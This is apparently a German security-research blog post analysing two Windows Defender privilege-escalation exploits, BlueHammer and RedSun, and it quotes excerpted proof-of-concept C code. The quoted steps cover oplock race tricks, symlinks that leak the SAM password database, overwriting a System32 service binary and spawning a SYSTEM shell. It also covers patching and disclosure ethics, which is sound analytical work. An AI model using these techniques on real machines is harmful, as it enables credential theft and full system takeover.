Offensive

BlueHammer und RedSun analysiert

Im Beitrag werden zwei aktuelle Schwachstellen – BlueHammer und RedSun – genauer betrachtet und erläutert, warum sie so viel Beachtung gefunden haben.

Andrei Herasimau
Jun 9, 2026

In den letzten Monaten hat ein Sicherheitsforscher unter dem Namen Chaotic Eclipse mehrere schwerwiegende Windows-Sicherheitslücken veröffentlicht, darunter mehrere Angriffsvektoren zur lokalen Rechteausweitung (LPE) und eine Umgehung der BitLocker-Verschlüsselung. Diese Sicherheitslücken wurden veröffentlicht, indem der Proof-of-Concept-Code direkt auf GitHub in Repositories des Benutzers Nightmare-Eclipse hochgeladen wurde. Die genaue Motivation dieses Forschers bleibt unklar und das Nightmare-Eclipse-Konto wurde inzwischen von Microsoft gelöscht. In diesem Blogbeitrag werden wir zwei dieser Schwachstellen – BlueHammer und RedSun – genauer betrachten und erläutern, warum sie in der Cybersicherheits-Community so viel Beachtung gefunden haben.

Übersicht über die Sicherheitslücken

Zum Zeitpunkt der Erstellung dieses Artikels wurden von Chaotic Eclipse sechs Schwachstellen veröffentlicht:

  • BlueHammer – CVE-2026-33825 – LPE-Schwachstelle, die eine TOCTOU-Race-Condition (Time-of-Check-to-Time-of-Use) in der Logik zur Bedrohungsbehebung von Windows Defender ausnutzt.
  • UnDefend – CVE-2026-45498 – heimliche Schwächung der Erkennungsmechanismen von Windows Defender.
  • RedSun – CVE-2026-41091 – LPE-Sicherheitslücke, die das Verhalten von Windows Defender ausnutzt, wenn Erkennungen im Zusammenhang mit Cloud-markierten Dateien überprüft.
  • YellowKey – CVE-2026-45585 – Umgehung der BitLocker-Verschlüsselung über ein vorbereitetes USB-Laufwerk.
  • GreenPlasma – Zum Zeitpunkt der Erstellung dieses Artikels keine CVE-Kennung – Technik zum Missbrauch von CTFMON-Objektpfaden.
  • MiniPlasma – CVE-2020-17103 – LPE durch Ausnutzung einer Schwachstelle im Cloud Filter Treiber.

Alle diese Exploits haben ein gemeinsames Ausnutzungsmuster: sie suchen nach fragwürdigem Verhalten innerhalb einer vertrauenswürdigen Windows-Komponente und nutzen dieses aus, um die Komponente dazu zu verleiten, eine bösartige Operation in einem erhöhten Kontext auszuführen, z. B. das Überschreiben einer Systembinärdatei durch eine vom Angreifer kontrollierte Datei oder das Auslesen lokal gespeicherter Passwort-Hashes. Dies deutet auf eine intime Kenntnis der Windows-Komponenten seitens des Forschers hin, was wiederum höchstwahrscheinlich bedeutet, dass diese Erkenntnisse das Ergebnis monatelanger, wenn nicht jahrelanger Forschung sind. Dies ist auch der Grund, warum Microsoft beträchtliche Zeit benötigte, um diese Probleme zu beheben. Es handelt sich hierbei nicht um einfache Versehen in der Programmlogik, sondern um die Ausnutzung des Programmverhaltens vertrauenswürdiger Windows-Komponenten.

BlueHammer

BlueHammer ist die erste von Chaotic Eclipse veröffentlichte Schwachstelle. Sie nutzt eine TOCTOU-Race-Condition aus, die entsteht, wenn Defender ein Update durchführt und gleichzeitig eine Erkennung analysiert. Das Kernproblem besteht darin, dass Defender den Dateipfad zum Zeitpunkt der Überprüfung einer Datei validiert, den Pfad jedoch zum Zeitpunkt der eigentlichen Dateioperation nicht erneut validiert.

bluehammer-1

Der Exploit beginnt damit, nach Defender-Signatur-Updates zu suchen und den Titel eines Updates abzurufen, sobald dieses erkannt wurde. Dieser wird später im Exploit verwendet, um ein Update bereitzustellen, das Defender schreiben soll.

            
                   
printf("Checking for windows defender signature updates...\n");


while (!CheckForWDUpdates(updtitle, &criterr)){


 if (criterr)


 goto cleanup;


 printf("No updates found for windows defender. Recheking in 30 seconds...\n");


 Sleep(30000);


}


printf("Found Update : \n%ws\n", updtitle);

Anschliessend wird in einem temporären Arbeitsverzeichnis eine Datei erstellt, die die EICAR-Zeichenkette enthält. Diese Datei wird dann verwendet, um eine Defender-Detection auszulösen.

            
                   
hfile = CreateFile(eicarfilepath, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_DELETE_ON_CLOSE, NULL);


[...]


trigger = CreateFile(eicarfilepath, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

Bevor eine Detection ausgelöst wird, öffnet der Exploit die Datei RstrtMgr.dll und erwirbt einen opportunistischen Batch-Oplock darauf. Dies ist ein wichtiger Schritt, da Defender als Vorbereitung zur Behebung einer Bedrohung den Restart Manager aufruft, um zu prüfen, ob Prozesse eine Sperre auf die schädliche Datei haben. Durch das Erwerben eines opportunistischen Batch-Oplocks auf der DLL, wird der Kernel den Öffnungsvorgang von Defender für diese DLL aussetzen, bis der Exploit die Sperre freigibt. Gleichzeitig signalisiert der Kernel dem Exploit-Prozess, dass Defender mit seiner Behebung begonnen hat.

            
                   
ExpandEnvironmentStrings(L"%windir%\\System32\\RstrtMgr.dll", rstmgr, MAX_PATH);


[...]


hlock = CreateFile(rstmgr, GENERIC_READ | SYNCHRONIZE, NULL, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);


[...]


DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);

Nachdem der Exploit ein Signal vom Kernel erhalten hat, erstellt er einen separaten Thread, der einen nichtexistierenden Cloud-Anbieter registriert und ein Volume Shadow Copy-Verzeichnis als Synchronisierungsstammverzeichnis unter diesem Anbieter erstellt. Dies blockiert den Zugriff von Defender auf den Volume Shadow Copy Service (VSS), da die Hydration-Richtlinie CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED verlangt, dass jeder Dateizugriff vom entsprechenden Cloud-Anbieter validiert wird. Da der Cloud-Anbieter in diesem Szenario der Exploit selbst ist, wird er den Zugriff nicht validieren, und Defender somit blockieren.

            
                   
hthread2 = CreateThread(NULL, NULL, FreezeVSS, &cldthreadargs, NULL, &tid);


[...]


CF_SYNC_REGISTRATION cfreg = { 0 };


cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);


cfreg.ProviderName = L"IHATEMICROSOFT";


cfreg.ProviderVersion = L"1.0";


CF_SYNC_POLICIES syncpolicy = { 0 };


syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);


syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;


syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;


syncpolicy.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;


syncpolicy.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_DEFAULT;


syncpolicy.InSync = CF_INSYNC_POLICY_NONE;


[...]


hlock = CreateFile(lockfile, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED | FILE_FLAG_DELETE_ON_CLOSE, NULL);


[...]


DeviceIoControl(hlock, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);


[...]


GetOverlappedResult(hlock, &ovd, &nwf, TRUE);


printf("WD is frozen and the new VSS can be used.\n");

Defender wird nun an zwei Stellen blockiert: beim Öffnen von RstrtMgr.dll und durch den Cloud-Anbieter. An dieser Stelle legt der Exploit zwei NT-Objektmanager-Symlinks an. Der erste Symlink leitet das Update-Staging-Verzeichnis von Defender, WDUpdateDirectory, auf ein vom Angreifer kontrolliertes Ziel um. Der zweite verweist mpasbase.vdm, die Hauptdatei für Signaturdefinitionen von Defender, auf \\Windows\\System32\\Config\\SAM.

            
                   
UNICODE_STRING _unisrc = { 0 };


RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");


OBJECT_ATTRIBUTES _smobjattr = { 0 };


InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);


UNICODE_STRING _unidest = { 0 };


RtlInitUnicodeString(&_unidest, objdirpath);


ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);


[...]


RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");


ZeroMemory(nttargetfile, sizeof(nttargetfile));


wcscpy(nttargetfile, fullvsspath);


wcscat(nttargetfile, filestoleak[x]);


RtlInitUnicodeString(&objlinktarget, nttargetfile);


InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);


 


ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);

Der letzte Schritt der Vorbereitung ist ein RPC-Aufruf an Defender, der über eine undokumentierte LRPC-Schnittstelle – IMpService – erfolgt. Dieser Aufruf weist Defender an, eine Definitionsaktualisierung aus dem vom Angreifer kontrollierten Verzeichnis zu verarbeiten.

            
                   
RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding)

Nachdem diese Vorbereitungen eingerichtet wurden und Defender nicht mehr blockiert wird, geschieht Folgendes:

  • Defender folgt den vom Angreifer platzierten Symlinks, um eine Definitionsaktualisierung durchzuführen
  • Defender ruft ein vom Angreifer bereitgestelltes Update ab und versucht, es in sein Staging-Verzeichnis zu schreiben, das auf ein vom Angreifer kontrolliertes Verzeichnis verweist
  • Defender schreibt das Update in seine Signaturdefinitionsdatei, die nun auf SAM verweist

Letztendlich speichert Defender SAM effektiv in einem vom Angreifer kontrollierten Verzeichnis. Diese Datei kann dann beispielsweise dazu verwendet werden, das Konto eines lokalen Administrators zu übernehmen.

RedSun

Die RedSun-Sicherheitslücke ähnelt BlueHammer. Der Unterschied besteht darin, dass sie ein anderes Defender-Verhalten ausnutzt. Wenn Defender verdächtige Dateien mit Cloud-Tags erkennt und analysiert, schreibt er sie anschliessend an den Ort zurück, an dem sie zum Zeitpunkt der Detection gefunden wurden. Dies ist eine weitere TOCTOU-Race-Condition, da Defender den Dateipfad zum Zeitpunkt des Zurückschreibvorgangs nicht validiert. Das bedeutet: Wenn sich der Pfad zwischen dem Zeitpunkt, zu dem Defender den Pfad bei der Detection gelesen hat, und dem Zeitpunkt des Schreibvorgangs geändert wird, schreibt Defender die Datei mit seinen erweiterten Rechten an den geänderten Speicherort.

redsun-1

Der Exploit beginnt mit dem Öffnen einer Named Pipe für die spätere Kommunikation mit einem privilegierten Prozess. Im Wesentlichen wird dem Exploit damit mitgeteilt, wo die resultierende SYSTEM-Shell platziert werden soll, und die Kommunikation zwischen der Sitzung des Angreifers mit geringen Berechtigungen und dem vom Exploit gestarteten SYSTEM-Prozess wird ermöglicht.

            
                   
HANDLE hpipe = CreateNamedPipe(L"\\??\\pipe\\REDSUN", PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, NULL, 1, NULL, NULL, NULL,NULL);

Der Exploit verläuft dann ähnlich wie bei BlueHammer – ein Batch-Oplock wird in einem separaten Thread auf einer Volume Shadow Copy einer Datei gesetzt, in die später die EICAR-Zeichenkette geschrieben wird. Diese Datei wird dann mit dem FILE_EXECUTE-Flag geöffnet, was eine Detection auslöst, und Defender wird aufgrund des zuvor auf die Datei gesetzten Oplocks angehalten. Der Hauptthread und der neue Thread synchronisieren sich über das gevent-Handle.

            
                   
DeviceIoControl(hlk, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);


[...]


HANDLE hfile = CreateFile(foo, GENERIC_READ | GENERIC_WRITE | DELETE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);


if (hfile == INVALID_HANDLE_VALUE)


{


 printf("Failed create spoof work file.\n");


 return 1;


}


char eicar[] = "*H+H$!ELIF-TSET-SURIVITNA-DRADNATS-RACIE$}7)CC7)^P(45XZP\\4[PA@%P!O5X";


rev(eicar);


DWORD nwf = 0;


WriteFile(hfile, eicar, sizeof(eicar) - 1, &nwf, NULL);


 


// trigger AV response


CreateFile(foo, GENERIC_READ | FILE_EXECUTE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);


[...]


SetEvent(gevent);


ResetEvent(gevent);


GetOverlappedResult(hlk, &ovd, &nbytes, TRUE);


 


WaitForSingleObject(gevent, INFINITE);


 


CloseHandle(hlk);


WakeByAddressAll(&gevent);


CloseHandle(gevent);


gevent = NULL;

Während Defender blockiert ist, registriert der Exploit einen Cloud-Anbieter mit einer Richtlinie zur teilweisen Hydration. Diese Richtlinie erlaubt es, dass Cloud-gestützte Dateien als Platzhalter im Dateisystem existieren, ohne dass der Kernel eine vollständige Hydration verlangt, bevor Dateioperationen fortgesetzt werden. Der Sync-Stamm dieses Anbieters wird im selben Arbeitsverzeichnis platziert, in dem die EICAR-Datei eine Erkennung ausgelöst hat. Im Sync-Stammverzeichnis wird eine Platzhalterdatei mit demselben Namen wie die EICAR-Datei erstellt. Der Grund für die Einrichtung dieser „Cloud-Infrastruktur“ besteht darin, das Writeback-Verhalten von Defender für Cloud-Dateien auszulösen und das Cloud-Verzeichnis durch einen NT-Objektmanager-Symlink zu einem Windows-Verzeichnis zu ersetzen, das eine Binärdatei eines Dienstes enthält.

            
                   
CF_SYNC_REGISTRATION cfreg = { 0 };


cfreg.StructSize = sizeof(CF_SYNC_REGISTRATION);


cfreg.ProviderName = L"SERIOUSLYMSFT";


cfreg.ProviderVersion = L"1.0";


CF_SYNC_POLICIES syncpolicy = { 0 };


syncpolicy.StructSize = sizeof(CF_SYNC_POLICIES);


syncpolicy.HardLink = CF_HARDLINK_POLICY_ALLOWED;


syncpolicy.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;


[...]


CF_PLACEHOLDER_CREATE_INFO placeholder[1] = { 0 };


placeholder[0].RelativeFileName = filename;


placeholder[0].FsMetadata = fsmetadata;


[...]


hs = CfCreatePlaceholders(syncroot, placeholder, 1, CF_CREATE_FLAG_STOP_ON_ERROR, &processedentries);


if (hs)


{


 printf("Failed to create placeholder file, error : 0x%0.8X\n", hs);


 return;


}

Sobald das Cloud-Synchronisationsverzeichnis eingerichtet ist, wird das erste Oplock aufgehoben. Das gesamte Verzeichnis, das die Datei enthält, die die Erkennung ausgelöst hat, wird dann in ein temporäres Verzeichnis verschoben. An dessen Stelle wird ein neues Arbeitsverzeichnis ohne Cloud-Attribute erstellt, zusammen mit einer neuen „Spoof-Arbeitsdatei“ am selben Pfad, den Defender ursprünglich zu öffnen versuchte. Diese Datei trägt denselben Namen wie eine Windows-Dienstdatei (TieringEngineService.exe) und veranlasst Defender dazu, einen privilegierten Öffnungsvorgang für die Dienst-Binärdatei auszuführen. Anschliessend wird sofort ein Batch-Oplock auf diese neue Datei gesetzt. Dieser Oplock blockiert Defender erneut beim Öffnen der „Cloud-Datei“, die eingetauscht wurde.

            
                   
SetEvent(gevent);


 


WaitOnAddress(&gevent, &gevent, sizeof(HANDLE), INFINITE);


[...]


wchar_t _tmp[MAX_PATH] = { 0 };


wsprintf(_tmp, L"\\??\\%s.TMP", workdir);


MoveFileEx(workdir,_tmp,MOVEFILE_REPLACE_EXISTING);


if (!CreateDirectory(workdir, NULL))


{


 printf("Failed to re-create directory.\n");


 return 1;


}


LARGE_INTEGER fsz = { 0 };


fsz.QuadPart = 0x1000;


stat = NtCreateFile(&hfile, FILE_READ_DATA | DELETE | SYNCHRONIZE, &_objattr, &iostat, &fsz, FILE_ATTRIBUTE_READONLY, FILE_SHARE_READ, FILE_SUPERSEDE, NULL, NULL, NULL);


[...]

DeviceIoControl(hfile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); 

Anschliessend wird ein Reparse Point erstellt, der auf C:\Windows\System32 verweist. Jeder Prozess, der einen Pfad über das Arbeitsverzeichnis des Exploits durchläuft, wird nun zu C:\Windows\System32 aufgelöst. Insbesondere folgt Defender diesem Pfad in das System32-Verzeichnis, sobald der zweite Oplock freigegeben wird.

            
                   
wchar_t rptarget[] = { L"\\??\\C:\\Windows\\System32" };


DWORD targetsz = wcslen(rptarget) * 2;


DWORD printnamesz = 1 * 2;


DWORD pathbuffersz = targetsz + printnamesz + 12;


DWORD totalsz = pathbuffersz + REPARSE_DATA_BUFFER_HEADER_LENGTH;


REPARSE_DATA_BUFFER* rdb = (REPARSE_DATA_BUFFER*)HeapAlloc(GetProcessHeap(), HEAP_GENERATE_EXCEPTIONS | HEAP_ZERO_MEMORY, totalsz);


rdb->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;


rdb->ReparseDataLength = static_cast<USHORT>(pathbuffersz);


rdb->Reserved = NULL;


rdb->MountPointReparseBuffer.SubstituteNameOffset = NULL;


rdb->MountPointReparseBuffer.SubstituteNameLength = static_cast<USHORT>(targetsz);


memcpy(rdb->MountPointReparseBuffer.PathBuffer, rptarget, targetsz + 2);


rdb->MountPointReparseBuffer.PrintNameOffset = static_cast<USHORT>(targetsz + 2);


rdb->MountPointReparseBuffer.PrintNameLength = static_cast<USHORT>(printnamesz);


memcpy(rdb->MountPointReparseBuffer.PathBuffer + targetsz / 2 + 1, rptarget, printnamesz);

DWORD ret = DeviceIoControl(hrp, FSCTL_SET_REPARSE_POINT, rdb, totalsz, NULL, NULL, NULL, NULL); 

Nachdem das zweite Oplock freigegeben ist und das privilegierte Öffnen durch Defender abgeschlossen ist, beginnt eine Wiederholungsschleife, die eine Race Condition gegen das Schreiben vom Defender gewinnt. Das FILE_SUPERSEDE-Flag ist beim Erlangen des Datei-Handles entscheidend. Dieses Flag signalisiert, dass der Dateischreibvorgang nicht einfach den Inhalt der Datei überschreibt, sondern die Datei vollständig ersetzt, sowohl ihren Inhalt als auch die zugehörigen Daten. Insbesondere wird das Token des Angreifers als Ersteller der Datei geschrieben. Dies ermöglicht es dem Exploit später, den zugehörigen Dienst zu starten.

            
                   
for (int i = 0; i < 1000; i++)


{


 wchar_t malpath[] = { L"\\??\\C:\\Windows\\System32\\TieringEngineService.exe" };


 UNICODE_STRING _malpath = { 0 };


 RtlInitUnicodeString(&_malpath, malpath);


 OBJECT_ATTRIBUTES objattr2 = { 0 };


 InitializeObjectAttributes(&objattr2, &_malpath, OBJ_CASE_INSENSITIVE, NULL, NULL);


 IO_STATUS_BLOCK iostat = { 0 };


 stat = NtCreateFile(&hlk, GENERIC_WRITE, &objattr2, &iostat, NULL, NULL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SUPERSEDE, NULL, NULL, NULL);


 if (!stat)


 break;


 Sleep(20);


}

Sobald ein Handle zurückgegeben wird, wird die Payload in das Systemverzeichnis kopiert. Im folgenden Codeausschnitt ist mx die aktuell ausgeführte Binärdatei, die die Dienst-Binärdatei TieringEngineService.exe überschreibt. Diese Binärdatei wird dann in der Methode LaunchTierManagementEng gestartet.

            
                   
wchar_t mx[MAX_PATH] = { 0 };


GetModuleFileName(GetModuleHandle(NULL), mx, MAX_PATH);


wchar_t mx2[MAX_PATH] = { 0 };


ExpandEnvironmentStrings(L"%WINDIR%\\System32\\TieringEngineService.exe", mx2, MAX_PATH);


CopyFile(mx, mx2, FALSE);

LaunchTierManagementEng(); 

Der Dienst wird mit der GUID des ursprünglichen TieringEngineService.exe-Dienstes (Storage Tiering Management Engine) als out-of-process COM-Server über das Flag CLSCTX_LOCAL_SERVER in der LaunchTierManagementEng-Methode gestartet. Der tatsächlich ausgeführte Prozess ist der RedSun-Exploit.

            
                   
CoInitialize(NULL);


GUID guidObject = { 0x50d185b9,0xfff3,0x4656,{0x92,0xc7,0xe4,0x01,0x8d,0xa4,0x36,0x1d} };


void* ret = NULL;


HRESULT hr = CoCreateInstance(guidObject, NULL, CLSCTX_LOCAL_SERVER, guidObject, &ret);


 


CoUninitialize();

RedSun prüft in der Methode IsRunningAsLocalSystem, ob es mit erhöhten Rechten ausgeführt wird. Ist dies der Fall, versucht es, eine Konsole zu starten und diese über die zu Beginn des Angriffs erstellte Named Pipe in die Session des Angreifers einzubinden.

            
                   
bool ret = IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);


if (ret) {


 LaunchConsoleInSessionId();


 ExitProcess(0);


}

Der SYSTEM-Prozess stellt dann eine Verbindung zu der zuvor erstellten Named Pipe her. Die Session-ID des Angreifers wird über die Methode SetTokenInformation in ein dupliziertes Token eingefügt. Anschliessend wird mit diesem Token ein connhost.exe-Prozess erstellt, und in der Session des Angreifers erscheint eine SYSTEM-Shell.

            
                   
HANDLE hpipe = CreateFile(L"\\??\\pipe\\REDSUN", GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);


[...]


HANDLE htoken = NULL;


if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))


 return;


HANDLE hnewtoken = NULL;


bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);


[...]


res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));


[...]


CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

 

Gegenmassnahmen und abschliessende Gedanken

Seitdem die Exploits auf GitHub veröffentlicht wurden, hat Microsoft Sicherheitsupdates für beide Exploits veröffentlicht. Daher besteht die Mitigation für beide Exploits darin, zeitnah die entsprechenden Sicherheitspatches für Windows zu installieren.

Diese Schwachstellen sind jedoch nicht nur aus Forschungssicht interessant, sondern verdeutlichen auch einen Trend in der Exploit-Entwicklung, der seit Jahren anhält. In den letzten Jahren sind immer mehr Zero-Day-Exploits aufgetaucht, die sich darauf konzentrieren, das Programmverhalten und die Interaktion mit anderen Systemkomponenten, anstatt Schwachstellen in der Programmlogik, auszunutzen. Die beiden in diesem Blogbeitrag analysierten Schwachstellen sind besonders heimtückisch, da sie auf eine Komponente abzielen, der man ohne zu zögern oder zu zweifeln vertrauen sollte – Antivirensoftware. Wenn man seiner Antivirensoftware nicht vertrauen kann, also genau der Instanz, die Bedrohungen erkennen und Systeme davor schützen soll, wem kann man dann noch vertrauen?

„Das ist die älteste Frage von allen, George. Wer kann die Spione ausspionieren?“

– John le Carré

Dieses Problem unterstreicht die Bedeutung gründlicher Tests bei kritischen Komponenten wie Antiviren- und EDR-Software. Solche Komponenten sollten nicht nur auf die Konsistenz des Codes geprüft werden, sondern auch interaktiv mit anderen Systemkomponenten getestet werden. Es reicht nicht aus, sagen zu können: „Unsere Software enthält keine Schwachstellen.“ Die Anforderung lautet nun: „Unsere Software enthält keine Schwachstellen und kann nicht dazu verwendet werden, Schwachstellen zu erzeugen.“

Ein weiteres Thema, das diskutiert wird, sind die Regeln für die Offenlegung von Sicherheitslücken. Chaotic Eclipse hat Proof-of-Concept-Code für diese Schwachstellen veröffentlicht, ohne sich mit Microsoft abzustimmen. Der Forscher hat seine Gründe dafür in einem Blogbeitrag dargelegt:

«Normally, I would go through the process of begging them to fix a bug but to summarize, I was told personally by them that they will ruin my life and they did and I'm not sure if I was the only who had this horride experience or few people did but I think most would just eat it and cut their losses but for me, they took away everything.»

– Nightmare Eclipse Blog

Manche halten dieses Verhalten für leichtsinnig, da diese Exploits bei realen Angriffen genutzt wurden und erheblichen Schaden für Unternehmen und Einzelpersonen verursacht haben, die nichts mit dem Konflikt des Forschers mit Microsoft zu tun haben. Andererseits argumentieren einige, dass, falls die Geschichte des Sicherheitsforschers wahr ist, ihm keine andere Wahl blieb, als seine Erkenntnisse öffentlich zu machen, da es besser ist, dass alle von der Existenz dieser Schwachstellen wissen, als dass sie stillschweigend vertuscht werden und vielleicht später von bösartigeren Akteuren entdeckt werden.

Unabhängig davon, wie man zu dieser Situation steht, gibt es definitiv das Gefühl, dass sich die Landschaft der Cybersicherheitsforschung in den kommenden Monaten erheblich verändern wird.

Wer weitere technische Deep Dives zu den restlichen Schwachstellen lesen möchte oder Fragen, Rückmeldungen oder Projektbedarf hat, darf sich jederzeit gerne an research@avantguard.io richten.

Referenzen
Offensive Red Team News

Similar posts